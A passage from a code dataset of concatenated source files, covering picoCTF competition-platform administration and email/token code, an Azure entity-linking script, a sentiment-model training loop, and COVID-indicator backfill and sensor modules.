fractional_uncertainty_expr.to_latex(), "percentageUncertainty": sympy.latex(fractional_uncertainty_expr.evaluate(values, precision=prec) * 100) }) except Exception as e: print(e) return jsonify({ "success": False, "value": "", "absoluteUncertaintyExpr": '', "absoluteUncertainty": '', "fractionalUncertaintyExpr": '', "percentageUncertainty": '' }) if __name__ == '__main__': app.run() ```
{ "source": "jingjiey/picoCTF", "score": 2 }
#### File: ansible/scripts/load_problems.py ```python import sys # The picoCTF API import api def main(name): try: # If a server by this name exists we can load problems shell_server = api.shell_servers.get_server(name=name) try: # Load problems and bundles from the shell server api.shell_servers.load_problems_from_server(shell_server["sid"]) # Set problems to disabled for p in api.problem.get_all_problems(show_disabled=True): api.admin.set_problem_availability(p["pid"], False) # Set bundles to enabled to set correct unlock behavior for b in api.problem.get_all_bundles(): api.problem.set_bundle_dependencies_enabled(b["bid"], True) except Exception as e: print(e) sys.exit("Failed to load problems.") except: pass if __name__ == "__main__": if len(sys.argv) != 2: print("Incorrect arguments passed, need") print("name") print(sys.argv) sys.exit("Bad args") else: _, name = sys.argv main(name) ``` #### File: picoCTF-shell/hacksport/status.py ```python import json import logging import os import shutil import socket from os.path import join from hacksport.operations import execute from shell_manager.bundle import get_bundle, get_bundle_root from shell_manager.util import (BUNDLE_ROOT, DEPLOYED_ROOT, get_problem, get_problem_root, HACKSPORTS_ROOT, PROBLEM_ROOT, STAGING_ROOT) logger = logging.getLogger(__name__) def get_all_problems(): """ Returns a dictionary of name:object mappings """ problems = {} if os.path.isdir(PROBLEM_ROOT): for name in os.listdir(PROBLEM_ROOT): try: problem = get_problem(get_problem_root(name, absolute=True)) problems[name] = problem except FileNotFoundError as e: pass return problems def get_all_bundles(): """ Returns a dictionary of name:object mappings """ bundles = {} if os.path.isdir(BUNDLE_ROOT): for name in os.listdir(BUNDLE_ROOT): try: bundle = get_bundle(get_bundle_root(name, absolute=True)) bundles[name] = bundle except FileNotFoundError as e: pass return bundles def get_all_problem_instances(problem_path): """ Returns a list of instances for a given problem """ instances = [] instances_dir = join(DEPLOYED_ROOT, problem_path) if os.path.isdir(instances_dir): for name in os.listdir(instances_dir): if name.endswith(".json"): try: instance = json.loads( open(join(instances_dir, name)).read()) except Exception as e: continue instances.append(instance) return instances def publish(args, config): """ Main entrypoint for publish """ problems = get_all_problems() bundles = get_all_bundles() output = {"problems": [], "bundles": []} for path, problem in problems.items(): problem["instances"] = get_all_problem_instances(path) problem["sanitized_name"] = path output["problems"].append(problem) for _, bundle in bundles.items(): output["bundles"].append(bundle) print(json.dumps(output, indent=2)) def clean(args, config): """ Main entrypoint for clean """ lock_file = join(HACKSPORTS_ROOT, "deploy.lock") # remove staging directories if os.path.isdir(STAGING_ROOT): logger.info("Removing the staging directories") shutil.rmtree(STAGING_ROOT) # remove lock file if os.path.isfile(lock_file): logger.info("Removing the stale lock file") os.remove(lock_file) # TODO: potentially perform more cleaning def status(args, config): """ Main entrypoint for status """ bundles = get_all_bundles() problems = get_all_problems() def get_instance_status(instance): status = { "instance_number": instance["instance_number"], "port": instance["port"] if "port" in instance else None, "flag": instance["flag"] } status["connection"] = False if "port" in instance: try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("localhost", instance["port"])) s.close() status["connection"] = True except ConnectionRefusedError as e: pass if instance["service"]: result = execute(["systemctl", "is-failed", instance["service"]], allow_error=True) else: result = execute(["systemctl", "is-failed"], allow_error=True) status["service"] = result.return_code == 1 if status["port"] is not None and not status["connection"]: status["service"] = False return status def get_problem_status(path, problem): problem_status = {"name": problem["name"]} instances = get_all_problem_instances(path) instance_statuses = [] for instance in instances: instance_statuses.append(get_instance_status(instance)) problem_status["instances"] = instance_statuses return problem_status def print_problem_status(problem, path, prefix=""): def pprint(string): print("{}{}".format(prefix, string)) pprint("* [{}] {} ({})".format( len(problem["instances"]), problem['name'], path)) if args.all: for instance in problem["instances"]: pprint(" - Instance {}".format(instance["instance_number"])) pprint(" flag: {}".format(instance["flag"])) pprint(" port: {}".format(instance["port"])) pprint(" service: {}".format("active" if instance[ "service"] else "failed")) pprint(" connection: {}".format("online" if instance[ "connection"] else "offline")) def print_bundle(bundle, path, prefix=""): def pprint(string): print("{}{}".format(prefix, string)) pprint("[{} ({})]".format(bundle["name"], path)) for problem_path in bundle["problems"]: problem = problems.get(problem_path, None) if problem is None: pprint(" ! Invalid problem '{}' !".format(problem_path)) continue pprint(" {} ({})".format(problem['name'], problem_path)) def get_bundle_status(bundle): problem_statuses = [] for problem_path in bundle["problems"]: problem = problems.get(problem_path) problem_statuses.append(get_problem_status(problem_path, problem)) bundle["problems"] = problem_statuses return bundle if args.problem is not None: problem = problems.get(args.problem, None) if problem is None: print("Could not find problem \"{}\"".format(args.problem)) return problem_status = get_problem_status(args.problem, problem) if args.json: print(json.dumps(problem_status, indent=4)) else: print_problem_status(problem_status, args.problem, prefix="") elif args.bundle is not None: bundle = bundles.get(args.bundle, None) if bundle is None: print("Could not find bundle \"{}\"".format(args.bundle)) return if args.json: print(json.dumps(get_bundle_status(bundle), indent=4)) else: print_bundle(bundle, args.bundle, prefix="") else: return_code = 0 if args.json: result = { "bundles": bundles, "problems": list( map(lambda tup: get_problem_status(*tup), problems.items())) } print(json.dumps(result, indent=4)) elif args.errors_only: for path, problem in problems.items(): problem_status = get_problem_status(path, problem) # Determine if any problem instance is offline for instance_status in problem_status["instances"]: if not instance_status["service"]: print_problem_status(problem_status, path, prefix=" ") return_code = 1 else: print("** Installed Bundles [{}] **".format(len(bundles))) shown_problems = [] for path, bundle in bundles.items(): print_bundle(bundle, path, prefix=" ") print("** Installed Problems [{}] **".format(len(problems))) for path, problem in problems.items(): problem_status = get_problem_status(path, problem) # Determine if any problem instance is offline for instance_status in problem_status["instances"]: if not instance_status["service"]: return_code = 1 print_problem_status(problem_status, path, prefix=" ") if return_code != 0: exit(return_code) ``` #### File: picoCTF-web/api/email.py ```python from datetime import datetime import api from api.common import (check, InternalException, safe_fail, validate, WebException) from flask_mail import Message from voluptuous import Length, Required, Schema mail = None password_reset_request_schema = Schema({ Required('username'): check(("Usernames must be between 3 and 20 characters.", [str, Length(min=3, max=20)]),) }) password_reset_schema = Schema({ Required("token"): check(("This does not look like a valid token.", [str, Length(max=100)])), Required('password'): check(("Passwords must be between 3 and 20 characters.", [str, Length(min=3, max=20)])) }) def reset_password(token_value, password, confirm_password): """ Perform the password update operation. Gets a token and new password from a submitted form, if the token is found in a team object in the database the new password is hashed and set, the token is then removed and an appropriate response is returned. Args: token_value: the password reset token password: <PASSWORD> confirm_password: <PASSWORD> """ validate(password_reset_schema, { "token": token_value, "password": password }) uid = api.token.find_key_by_token("password_reset", token_value)["uid"] api.user.update_password_request( { "new-password": password, "new-password-confirmation": <PASSWORD>_password }, uid=uid) api.token.delete_token({"uid": uid}, "password_reset") def request_password_reset(username): """ Emails a user a link to reset their password. Checks that a username was submitted to the function and grabs the relevant team info from the db. Generates a secure token and inserts it into the team's document as 'password_reset_token'. A link is emailed to the registered email address with the random token in the url. The user can go to this link to submit a new password, if the token submitted with the new password matches the db token the password is hashed and updated in the db. Args: username: the username of the account """ validate(password_reset_request_schema, {"username": username}) user = safe_fail(api.user.get_user, name=username) if user is None: raise WebException("No registration found for '{}'.".format(username)) token_value = api.token.set_token({"uid": user['uid']}, "password_reset") body = """We recently received a request to reset the password for the following {0} account:\n\n\t{2}\n\nOur records show that this is the email address used to register the above account. If you did not request to reset the password for the above account then you need not take any further steps. If you did request the password reset please follow the link below to set your new password. \n\n {1}/reset#{3} \n\n Best of luck! \n The {0} Team""".format( api.config.competition_name, api.config.competition_urls[0], username, token_value) subject = "{} Password Reset".format(api.config.competition_name) message = Message(body=body, recipients=[user['email']], subject=subject) mail.send(message) def send_user_verification_email(username): """ Emails the user a link to verify his account. If email_verification is enabled in the config then the user won't be able to login until this step is completed. """ settings = api.config.get_settings() db = api.common.get_conn() user = api.user.get_user(name=username) key_query = { "$and": [{ "uid": user["uid"] }, { "email_verification_count": { "$exists": True } }] } previous_key = api.token.find_key(key_query) if previous_key is None: token_value = api.token.set_token({ "uid": user["uid"], "email_verification_count": 1 }, "email_verification") else: if previous_key["email_verification_count"] < settings["email"]["max_verification_emails"]: token_value = previous_key["tokens"]["email_verification"] db.tokens.find_and_modify(key_query, {"$inc": { "email_verification_count": 1 }}) else: raise InternalException( "User has been sent the maximum number of verification emails.") # Is there a better way to do this without dragging url_for + app_context into it? verification_link = "{}/api/user/verify?uid={}&token={}".\ format(api.config.competition_urls[0], user["uid"], token_value) body = """ Welcome to {0}! You will need to visit the verification link below to finalize your account's creation. If you believe this to be a mistake, and you haven't recently created an account for {0} then you can safely ignore this email. Verification link: {1} Good luck and have fun! The {0} Team. """.format(api.config.competition_name, verification_link) subject = "{} Account Verification".format(api.config.competition_name) message = Message(body=body, recipients=[user['email']], subject=subject) mail.send(message) def send_email_invite(gid, email, teacher=False): """ Sends an email registration link that will automatically join into a group. This link will bypass the email filter. """ group = api.group.get_group(gid=gid) token_value = api.token.set_token({ "gid": group["gid"], "email": email, "teacher": teacher }, "registration_token") registration_link = "{}/#g={}&r={}".\ format(api.config.competition_urls[0], group["gid"], token_value) body = """ You have been invited by the staff of the {1} organization to compete in {0}. You will need to follow the registration link below to finish the account creation process. If you believe this to be a mistake you can safely ignore this email. Registration link: {2} Good luck! The {0} Team. """.format(api.config.competition_name, group["name"], registration_link) subject = "{} Registration".format(api.config.competition_name) message = Message(body=body, recipients=[email], subject=subject) mail.send(message) ``` #### File: picoCTF-web/api/problem_feedback.py ```python from datetime import datetime import api import pymongo from api.annotations import log_action from api.common import (check, InternalException, safe_fail, SevereInternalException, validate, WebException) from voluptuous import Length, Required, Schema feedback_schema = Schema({ Required("liked"): check(("liked must be a boolean", [lambda x: type(x) == bool])), "comment": check(("The comment must be no more than 500 characters", [str, Length(max=500)])), "timeSpent": check(("Time spend must be a number", [int])), "source": check(("The source must be no more than 500 characters", [str, Length(max=10)])) }) def get_problem_feedback(pid=None, tid=None, uid=None): """ Retrieve feedback for a given problem, team, or user Args: pid: the problem id tid: the team id uid: the user id Returns: A list of problem feedback entries. """ db = api.common.get_conn() match = {} if pid is not None: match.update({"pid": pid}) if tid is not None: match.update({"tid": tid}) if uid is not None: match.update({"uid": uid}) return list(db.problem_feedback.find(match, {"_id": 0})) def get_reviewed_pids(uid=None): """ Gets the list of pids reviewed by the user Args: uid: the user id Returns: A list of pids """ db = api.common.get_conn() if uid is None: uid = api.user.get_user()['uid'] return [entry["pid"] for entry in get_problem_feedback(uid=uid)] @log_action def add_problem_feedback(pid, uid, feedback): """ Add user problem feedback to the database. Args: pid: the problem id uid: the user id feedback: the problem feedback. """ db = api.common.get_conn() # Make sure the problem actually exists. api.problem.get_problem(pid=pid) team = api.user.get_team(uid=uid) solved = pid in api.problem.get_solved_pids(tid=team["tid"]) validate(feedback_schema, feedback) # update feedback if already present if get_problem_feedback(pid=pid, uid=uid) != []: db.problem_feedback.update({ "pid": pid, "uid": uid }, {"$set": { "timestamp": datetime.utcnow(), "feedback": feedback }}) else: db.problem_feedback.insert({ "pid": pid, "uid": uid, "tid": team["tid"], "solved": solved, "timestamp": datetime.utcnow(), "feedback": feedback }) api.achievement.process_achievements("review", { "uid": uid, "tid": team['tid'], "pid": pid }) ``` #### File: picoCTF-web/api/token.py ```python import api from api.common import InternalException def get_token_path(token_name): """ Formats the token name into a token path. Returns: The token path """ return "tokens.{}".format(token_name) def set_token(key, token_name, token_value=None): """ Sets a token for the user. Args: key: the unique identifier object token_name: the name of the token to set token_value: optionally specify the value of the token Returns: The token value """ db = api.common.get_conn() # Should never realistically collide. if token_value is None: token_value = api.common.hash(str(key) + api.common.token()) db.tokens.update( key, {'$set': { get_token_path(token_name): token_value }}, upsert=True) return token_value def delete_token(key, token_name): """ Removes the password reset token for the user in mongo Args: key: the unique identifier object token_name: the name of the token """ db = api.common.get_conn() db.tokens.update(key, {'$unset': {get_token_path(token_name): ''}}) def find_key(query, multi=False): """ Find a key based on a particular query. Args: query: the mongo query multi: defaults to False, return at most one result """ db = api.common.get_conn() find_func = db.tokens.find_one if multi: find_func = db.tokens.find return find_func(query) def find_key_by_token(token_name, token_value): """ Searches the database for a user with a token_name token_value pair. Args: token_name: the name of the token token_value: the value of the token """ db = api.common.get_conn() key = db.tokens.find_one({ get_token_path(token_name): token_value }, { "_id": 0, "tokens": 0 }) if key is None: raise InternalException("Could not find {}.".format(token_name)) return key ``` #### File: test/unit_tests/team_test.py ```python import api.common import api.team import api.user import bcrypt import pytest from api.common import InternalException, WebException from common import (base_team, base_user, clear_collections, ensure_empty_collections) from conftest import setup_db, teardown_db dict_filter = lambda dict, items: {k: v for k, v in dict.items() if k in items} class TestNewStyleTeams(object): @ensure_empty_collections("users", "teams") @clear_collections("users", "teams") def test_user_team_registration(self): """ Tests the newer and simplified user creation. """ user = dict_filter(base_user.copy(), [ "username", "firstname", "lastname", "email", "eligibility", "affiliation" ]) user["password"] = "<PASSWORD>" uid = api.user.create_simple_user_request(user) team_data = {"team_name": "lolhax", "team_password": "<PASSWORD>"} api.team.create_new_team_request(team_data, uid=uid) team = api.user.get_team(uid=uid) assert team["team_name"] == team_data[ "team_name"], "User does not belong to the new team." assert api.team.get_team(name=user["username"])["size"] == 0 and api.team.get_team(name=team_data["team_name"])["size"] == 1, \ "Size calculations are incorrect for new registered team." class TestTeams(object): """ API Tests for team.py """ def setup_class(self): setup_db() api.config.get_settings() api.config.change_settings({"max_team_size": 5}) def teardown_class(self): teardown_db() @ensure_empty_collections("teams") @clear_collections("teams") def test_create_batch_teams(self, teams=10): """ Tests team creation. Covers: team.create_team team.get_team team.get_all_teams """ tids = [] for i in range(teams): team = base_team.copy() team["team_name"] += str(i) tids.append(api.team.create_team(team)) assert len(set(tids)) == len(tids), "tids are not unique." assert len(api.team.get_all_teams()) == len( tids), "Not all teams were created." for i, tid in enumerate(tids): name = base_team['team_name'] + str(i) team_from_tid = api.team.get_team(tid=tid) team_from_name = api.team.get_team(name=name) assert team_from_tid == team_from_name, "Team lookup from tid and name are not the same." @ensure_empty_collections("teams", "users") @clear_collections("teams", "users") def test_get_team_uids(self): """ Tests the code that retrieves the list of uids on a team Covers: team.create_team user.create_simple_user_request team.get_team_uids """ team = base_team.copy() tid = api.team.create_team(team) uids = [] for i in range(api.config.get_settings()["max_team_size"]): test_user = base_user.copy() test_user['username'] += str(i) uid = api.user.create_simple_user_request(test_user) uids.append(uid) # join a real team api.team.join_team(team["team_name"], team["password"], uid) team_uids = api.team.get_team_uids(tid) assert len(team_uids) == api.config.get_settings()[ "max_team_size"], "Team does not have correct number of members" assert sorted(uids) == sorted( team_uids), "Team does not have the correct members" @ensure_empty_collections("teams", "users") @clear_collections("teams", "users") def test_create_user_request_team_size_validation(self): """ Tests the team size restriction Covers: team.create_team user.create_user_request """ team = base_team.copy() tid = api.team.create_team(team) uid = None for i in range(api.config.get_settings()["max_team_size"]): test_user = base_user.copy() test_user['username'] += str(i) uid = api.user.create_simple_user_request(test_user) # join a real team api.team.join_team(team["team_name"], team["password"], uid) with pytest.raises(InternalException): uid_fail = api.user.create_simple_user_request(base_user.copy()) # join a real team api.team.join_team(team["team_name"], team["password"], uid_fail) assert False, "Team has too many users" api.user.disable_account(uid) # Should be able to add another user after disabling one. test_user = base_user.copy() test_user['username'] += "addition" uid = api.user.create_simple_user_request(test_user) api.team.join_team(team["team_name"], team["password"], uid) ```
{ "source": "JingjingShii/aztext", "score": 2 }
#### File: JingjingShii/aztext/links.py ```python import sys import argparse from textwrap import fill from mlhub.pkg import get_private # pip3 install --upgrade --user azure-cognitiveservices-language-textanalytics from azure.cognitiveservices.language.textanalytics import TextAnalyticsClient from msrest.authentication import CognitiveServicesCredentials # ---------------------------------------------------------------------- # Parse command line arguments # ---------------------------------------------------------------------- option_parser = argparse.ArgumentParser(add_help=False) option_parser.add_argument( 'sentence', nargs="*", help='sentence to analyse') args = option_parser.parse_args() # ---------------------------------------------------------------------- # Request subscription key and endpoint from user. # ---------------------------------------------------------------------- key, endpoint = get_private() credentials = CognitiveServicesCredentials(key) client = TextAnalyticsClient(endpoint=endpoint, credentials=credentials) # ------------------------------------------------------------------------ # Helper function # ------------------------------------------------------------------------ def analyseText(txt): documents = [{ 'id': '1', 'text': txt }] response = client.detect_language(documents=documents) l = response.documents[0] dl = l.detected_languages[0] lang = dl.iso6391_name documents = [{ 'id': '1', 'language': lang, 'text': txt }] response = client.entities(documents=documents) links = [] offsets = [] lengths = [] for es in response.documents: for e in es.entities: m = e.matches[0] if m.wikipedia_score != None: links.insert(0, e.wikipedia_url) offsets.insert(0, m.offset) lengths.insert(0, m.length) for i, url in enumerate(links): txt = txt[0:offsets[i]] + f"<a href=\"{url}\" target=\"_blank\">" + txt[offsets[i]:offsets[i]+lengths[i]] + "</a>" + txt[offsets[i]+lengths[i]:] print(fill(txt)) # ------------------------------------------------------------------------ # Obtain text and analyze. # ------------------------------------------------------------------------ txt = " ".join(args.sentence) if txt != "": analyseText(txt) elif not sys.stdin.isatty(): for txt in sys.stdin.readlines(): analyseText(txt) print() else: print("Enter text to be analysed. Quit with Empty or Ctrl-d.\n") prompt = '> ' try: txt = input(prompt) except EOFError: print() sys.exit(0) while txt != '': analyseText(txt) try: print() txt = input(prompt) except EOFError: print() sys.exit(0) ```
{ "source": "JingjingShii/zynlp", "score": 2 }
#### File: zynlp/code/train.py ```python import time import warnings from collections import defaultdict import numpy as np import pandas as pd import torch from sklearn.model_selection import train_test_split from torch import nn from transformers import * from nlp_model import SentimentClassifier from preprocessing import data_loader, preprocess, tokenizer warnings.filterwarnings("ignore") # Define Constants EPOCHS = 3 BATCH_SIZE = 16 MAX_LEN = 256 # Check if GPU is available device = torch.device("cuda:0" if torch.cuda.is_available() else "cpu") def train_epoch(model, data_loader, loss_fn, optimizer, device, scheduler, n_examples): # change to traning mode model = model.train() losses = [] correct_predictions = 0 for index, d in enumerate(data_loader): input_ids = d["input_ids"].to(device) attention_mask = d["attention_mask"].to(device) targets = d["targets"].to(device) outputs = model(input_ids=input_ids, attention_mask=attention_mask) _, preds = torch.max(outputs, dim=1) loss = loss_fn(outputs, targets) correct_predictions += torch.sum(preds == targets) losses.append(loss.item()) loss.backward() nn.utils.clip_grad_norm_(model.parameters(), max_norm=1.0) optimizer.step() scheduler.step() optimizer.zero_grad() if index % 100 == 0: print("Iteration {}/{}, loss is {}".format(index, len(data_loader), loss)) return correct_predictions.double() / n_examples, np.mean(losses) def eval_model(model, data_loader, loss_fn, device, n_examples): # change to evaluation mode model = model.eval() losses = [] correct_predictions = 0 with torch.no_grad(): for index, d in enumerate(data_loader): input_ids = d["input_ids"].to(device) attention_mask = d["attention_mask"].to(device) targets = d["targets"].to(device) outputs = model( input_ids=input_ids, attention_mask=attention_mask ) _, preds = torch.max(outputs, dim=1) loss = loss_fn(outputs, targets) correct_predictions += torch.sum(preds == targets) losses.append(loss.item()) #if index // 20 == 0: # print("Iteration {}/{}, loss is {}".format(index, len(data_loader), loss)) return correct_predictions.double() / n_examples, np.mean(losses) if __name__ == "__main__": # read train and test csv file train = pd.read_csv("./data/train.csv") # test = pd.read_csv("./data/test.csv") # preprocess the data train = preprocess(train) print(train.shape) # train validation split train, validation, _, _ = train_test_split(train, train, test_size=0.2, random_state=42) # construct dataloader train_data_loader = data_loader(train, tokenizer, MAX_LEN, BATCH_SIZE) val_data_loader = data_loader(validation, tokenizer, MAX_LEN, BATCH_SIZE) # test_data_loader = data_loader(test, tokenizer, MAX_LEN, BATCH_SIZE) # construct model model = SentimentClassifier(n_classes = 3) model = model.to(device) # define AdamW optimizer from the tranformers package optimizer = AdamW(model.parameters(), lr=2e-5, correct_bias=False) # total steps during training process total_steps = len(train_data_loader) * EPOCHS # use a warm-up scheduler as suggested in the paper scheduler = get_linear_schedule_with_warmup( optimizer, num_warmup_steps=0, num_training_steps=total_steps ) # define cross entropy loss for classification problem loss_fn = torch.nn.CrossEntropyLoss().to(device) # this will be store "train_acc", "train_loss", "val_acc" and "val_loss" history = defaultdict(list) # best accuracy from the best model across the whole training process best_accuracy = 0 # the main training for loop for epoch in range(EPOCHS): print(f'Epoch {epoch + 1}/{EPOCHS}') print('-' * 10) start_time = time.time() print("Current Epoch starts at: {}".format(time.ctime())) # training process train_acc, train_loss = train_epoch( model, train_data_loader, loss_fn, optimizer, device, scheduler, len(train) ) print(f'Train loss {train_loss} accuracy {train_acc}') # validation process val_acc, val_loss = eval_model( model, val_data_loader, loss_fn, device, len(validation) ) print(f'Val loss {val_loss} accuracy {val_acc}') print("Current Epoch ends at: {}".format(time.ctime())) print("Time used for training the current epoch:{} \n".format(time.time()-start_time)) # put all the accuracy and loss information into the history dictionary history['train_acc'].append(train_acc) history['train_loss'].append(train_loss) history['val_acc'].append(val_acc) history['val_loss'].append(val_loss) # identify and save the best model if val_acc > best_accuracy: torch.save(model.state_dict(), 'best_model_state.bin') best_accuracy = val_acc ```
{ "source": "jingjtang/covidcast-indicators", "score": 3 }
#### File: backfill_alerting/delphi_backfill_alerting/model.py ```python from datetime import timedelta # third party import numpy as np import pandas as pd import statsmodels.api as sm from delphi_utils import GeoMapper # first party from .config import Config gmpr = GeoMapper() param_list = ["value_raw", "log_value_7dav"] + [f"issueD{i}" for i in range(6)] \ + [f"refD{i}" for i in range(6)] + [f"issueW{i}" for i in range(3)] def model_traning_and_testing(backfill_df, dropdate, bv_type, ref_lag): """Training and testing for backfill variables. For backfill fraction, use data with issue date from dropdate - 180 days to dropdate - anchor_lag days to be the training data. The data for the most recent anchor_lag days is used as the testing data. For change rate, use data with issue date from dropdate - 180 days to the day before dropdate to be the training data. The data for dropdate is used as the testing data. The data is trained separately for each location. Besides, data is trained in groups of different lags. Args: backfill_df: dataframe for backfill information dropdate : the most recent issue date considered bv_type: the type of the backfill variable ref_lag: k for change rate or anchor_lag for backfill fraction Returns: backfill dataframes with prediction result """ if bv_type == Config.CHANGE_RATE: test_start = dropdate else: test_start = dropdate - timedelta(days=ref_lag) train_pdList = [] test_pdList = [] for loc in backfill_df[Config.GEO_COL].unique(): traindf = backfill_df.loc[(backfill_df[Config.GEO_COL] == loc) & (backfill_df["issue_date"] < test_start)].dropna() traindf["predicted"] = None testdf = backfill_df.loc[(backfill_df[Config.GEO_COL] == loc) & (backfill_df["issue_date"] >= test_start)].dropna() testdf["predicted"] = None if traindf.shape[0] < 200 or testdf.shape[0] == 0: continue for i in range(1, len(Config.LAG_SPLITS)): # Train separately for lags train_indx = (traindf["lag"] <= Config.LAG_SPLITS[i] + 2)\ &(traindf["lag"] > Config.LAG_SPLITS[i-1]-3) test_indx = (testdf["lag"] <= Config.LAG_SPLITS[i])\ &(testdf["lag"] > Config.LAG_SPLITS[i-1]) if sum(test_indx) == 0: continue try: res = sm.GLM(traindf.loc[train_indx, "value"] + 1, traindf.loc[train_indx, param_list], family=sm.families.Gamma(link=sm.families.links.log()) ).fit() traindf.loc[train_indx, "predicted"] = res.predict( traindf.loc[train_indx, param_list]) - 1 testdf.loc[test_indx, "predicted"] = res.predict( testdf.loc[test_indx, param_list]) - 1 except ValueError: pass train_pdList.append(traindf) test_pdList.append(testdf) return (pd.concat(train_pdList).dropna(), pd.concat(test_pdList).dropna()) def evaluation(results, dropdate, cache_dir, test=False): """ Get the generalized evaluation of the prediction result. Args: results: list of two dataframes:in-sample and out-sample prediction dropdate : the most recent issue date considered cache_dir: directory to the cache folder Returns: list of special dates or location-date pairs """ traindf, testdf = results if testdf.shape[0] == 0: return [], [], [], [] traindf["test"] = False testdf["test"] = True evl_df = traindf.append(testdf) evl_df["residue"] = evl_df["value"] - evl_df["predicted"] evl_df["p"] = evl_df.groupby(["geo_value", "lag"])["residue"].rank(pct=True) evl_df["log_p"] = evl_df["p"].apply(lambda x:np.log(x+1e-15)) evl_df["weighted_logp"] = evl_df["log_p"] / (evl_df["lag"] + 1) if not test: evl_df.to_csv(cache_dir+f"/evl_result_{dropdate.date()}.csv", index=False) # Averaged over all locations and all lags # Generalized evaluation of each test date result_per_date = evl_df.groupby(["issue_date", "test"]).mean().reset_index() result_per_date["date_rank"] = result_per_date["weighted_logp"].rank(pct=True) result_per_date["alert"] = None result_per_date.loc[result_per_date["date_rank"] > 0.95, "alert"] = "L" result_per_date.loc[result_per_date["date_rank"] < 0.05, "alert"] = "S" l_dates = list(result_per_date.loc[ (result_per_date["test"]) & (result_per_date["alert"] == "L"), "issue_date"].dt.strftime('%Y-%m-%d').unique()) s_dates = list(result_per_date.loc[ (result_per_date["test"]) & (result_per_date["alert"] == "S"), "issue_date"].dt.strftime('%Y-%m-%d').unique()) # Averaged over all lags # Generalized evaluation of each test date for each location result_per_date_loc = evl_df.groupby(["issue_date", "test", "geo_value"]).mean().reset_index() result_per_date_loc["alert"] = None pdList = [] for loc in result_per_date_loc["geo_value"].unique(): subdf = result_per_date_loc[result_per_date_loc["geo_value"] == loc] subdf.loc[:, "date_rank"] = subdf["weighted_logp"].rank(pct=True) subdf.loc[subdf["date_rank"] > 0.95, "alert"] = "L" subdf.loc[subdf["date_rank"] < 0.05, "alert"] = "S" pdList.append(subdf.loc[subdf["test"]].dropna()) result_per_date_loc = pd.concat(pdList) result_per_date_loc["pair"] = result_per_date_loc["geo_value"] + ","\ + result_per_date_loc["issue_date"].dt.strftime('%Y-%m-%d') l_pairs = list(result_per_date_loc.loc[result_per_date_loc["alert"] == "L", "pair"].unique()) s_pairs = (result_per_date_loc.loc[result_per_date_loc["alert"] == "S", "pair"].unique()) return l_dates, s_dates, l_pairs, s_pairs ``` #### File: cdc_covidnet/delphi_cdc_covidnet/run.py ```python from datetime import datetime from os import remove from os.path import join from typing import Dict, Any from delphi_utils import get_structured_logger from .covidnet import CovidNet from .update_sensor import update_sensor def run_module(params: Dict[str, Dict[str, Any]]): """ Parse parameters and generates csv files for the COVID-NET sensor. Parameters ---------- params Dictionary containing indicator configuration. Expected to have the following structure: - "common": - "export_dir": str, directory to write output. - "indicator": - "start_date": str, YYYY-MM-DD format, first day to generate data for. - "end_date": str, YYYY-MM-DD format or empty string, last day to generate data for. If set to empty string, current day will be used. - "parallel": bool, whether to download source files in parallel. - "wip_signal": list of str or bool, to be passed to delphi_utils.add_prefix. - "input_cache_dir": str, directory to download source files. """ logger = get_structured_logger( __name__, filename=params["common"].get("log_filename"), log_exceptions=params["common"].get("log_exceptions", True)) start_date = datetime.strptime(params["indicator"]["start_date"], "%Y-%m-%d") # If no end_date is specified, assume it is the current date if params["indicator"]["end_date"] == "": end_date = datetime.now() else: end_date = datetime.strptime(params["indicator"]["end_date"], "%Y-%m-%d") logger.info("start date:\t%s", start_date.date()) logger.info("end date:\t%s", end_date.date()) logger.info("outpath:\t%s", params["common"]["export_dir"]) logger.info("parallel:\t%s", params["indicator"]["parallel"]) # Only geo is state, and no weekday adjustment for now # COVID-NET data is by weeks anyway, not daily logger.info("starting state, no adj") # Download latest COVID-NET files into the cache directory first mappings_file = join(params["indicator"]["input_cache_dir"], "init.json") CovidNet.download_mappings(outfile=mappings_file) _, mmwr_info, _ = CovidNet.read_mappings(mappings_file) state_files = CovidNet.download_all_hosp_data( mappings_file, params["indicator"]["input_cache_dir"], parallel=params["indicator"]["parallel"], logger=logger) update_sensor( state_files, mmwr_info, params["common"]["export_dir"], start_date, end_date, params["indicator"]["wip_signal"]) # Cleanup cache dir remove(mappings_file) for state_file in state_files: remove(state_file) logger.info("finished all") ``` #### File: changehc/delphi_changehc/sensor.py ```python import logging # third party import numpy as np import pandas as pd from delphi_utils import Smoother # first party from .config import Config class CHCSensor: """Sensor class to fit a signal using Covid counts from Change HC outpatient data.""" smoother = Smoother("savgol", poly_fit_degree=1, gaussian_bandwidth=Config.SMOOTHER_BANDWIDTH) @staticmethod def backfill( num, den, k=Config.MAX_BACKFILL_WINDOW, min_visits_to_fill=Config.MIN_CUM_VISITS): """ Adjust for retroactively added observations (backfill) by using a variable length smoother. The smoother starts from the RHS and moves leftwards (backwards through time). We cumulatively sum the total visits (denominator), until we have observed some minimum number of counts, then calculate the sum over that bin. We restrict the bin size so to avoid including long-past values. Args: num: array of covid counts den: array of total visits k: maximum number of days used to average a backfill correction min_visits_to_fill: minimum number of total visits needed in order to sum a bin Returns: dataframes of adjusted covid counts, adjusted visit counts, inclusion array """ if isinstance(den,(pd.DataFrame,pd.Series)): den = den.values if isinstance(num,(pd.DataFrame,pd.Series)): num = num.values revden = den[::-1] revnum = num[::-1].reshape(-1, 1) new_num = np.full_like(revnum, np.nan, dtype=float) new_den = np.full_like(revden, np.nan, dtype=float) n, p = revnum.shape for i in range(n): visit_cumsum = revden[i:].cumsum() # calculate backfill window closest_fill_day = np.where(visit_cumsum >= min_visits_to_fill)[0] if len(closest_fill_day) > 0: closest_fill_day = min(k, closest_fill_day[0]) else: closest_fill_day = k if closest_fill_day == 0: new_den[i] = revden[i] for j in range(p): new_num[i, j] = revnum[i, j] else: den_bin = revden[i: (i + closest_fill_day + 1)] new_den[i] = den_bin.sum() for j in range(p): num_bin = revnum[i: (i + closest_fill_day + 1), j] new_num[i, j] = num_bin.sum() new_num = new_num[::-1] new_den = new_den[::-1] return new_num, new_den @staticmethod def fit(y_data, first_sensor_date, geo_id, logger, num_col="num", den_col="den"): """Fitting routine. Args: y_data: dataframe for one geo_id, indexed by date first_sensor_date: datetime of first date geo_id: unique identifier for the location column num_col: str name of numerator column den_col: str name of denominator column Returns: dictionary of results """ # backfill total_counts, total_visits = CHCSensor.backfill(y_data[num_col].values, y_data[den_col].values) # calculate smoothed counts and jeffreys rate # the left_gauss_linear smoother is not guaranteed to return values greater than 0 rates = total_counts.flatten() / total_visits smoothed_rate = CHCSensor.smoother.smooth(rates) 